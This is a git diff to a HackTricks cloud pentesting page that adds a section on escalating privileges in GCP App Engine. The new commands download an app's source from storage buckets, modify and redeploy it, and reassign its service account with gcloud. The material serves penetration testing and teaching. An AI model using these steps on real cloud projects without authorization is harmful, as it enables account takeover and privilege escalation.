GITBOOK-616: No subject

pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-appengine-privesc.md

@@ -9,7 +9,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
@@ -44,6 +44,47 @@ It's **possible to indicate the Service Account to use** but by default, the App
 
 The URL of the application is something like `https://<proj-name>.oa.r.appspot.com/` or `https://<service_name>-dot-<proj-name>.oa.r.appspot.com`
 
+### Update equivalent permissions
+
+You might have enough permissions to update an AppEngine but not to create a new one. In that case this is how you could update the current App Engine:
+
+```bash
+# Find the code of the App Engine in the buckets
+gsutil ls
+
+# Download code
+mkdir /tmp/appengine2
+cd /tmp/appengine2
+## In this case it was found in this custom bucket but you could also use the 
+## buckets generated when the App Engine is created
+gsutil cp gs://appengine-lab-1-gcp-labs-4t04m0i6-3a97003354979ef6/labs_appengine_1_premissions_privesc.zip .
+unzip labs_appengine_1_premissions_privesc.zip
+
+## Now modify the code..
+
+## If you don't have an app.yaml, create one like:
+cat >> app.yaml <<EOF
+runtime: python312
+
+entrypoint: gunicorn -b :\$PORT main:app
+
+env_variables:
+ A_VARIABLE: "value"
+EOF
+
+# Deploy the changes
+gcloud app deploy
+
+# Update the SA if you need it (and if you have actas permissions)
+gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
+```
+
+If you have **already compromised a AppEngine** and you have the permission **`appengine.applications.update`** and **actAs** over the service account to use you could modify the service account used by AppEngine with:
+
+```bash
+gcloud app update --service-account=<sa>@$PROJECT_ID.iam.gserviceaccount.com
+```
+
 ### `appengine.instances.enableDebug`, `appengine.instances.get`, `appengine.instances.list`, `appengine.operations.get`, `appengine.services.get`, `appengine.services.list`, `appengine.versions.get`, `appengine.versions.list`, `compute.projects.get`
 
 With these permissions, it's possible to **login via ssh in App Engine instances** of type **flexible** (not standard). Some of the **`list`** and **`get`** permissions **could not be really needed**.
@@ -82,7 +123,7 @@ Other ways to support HackTricks:
 * If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
 * Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
 * Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 * **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>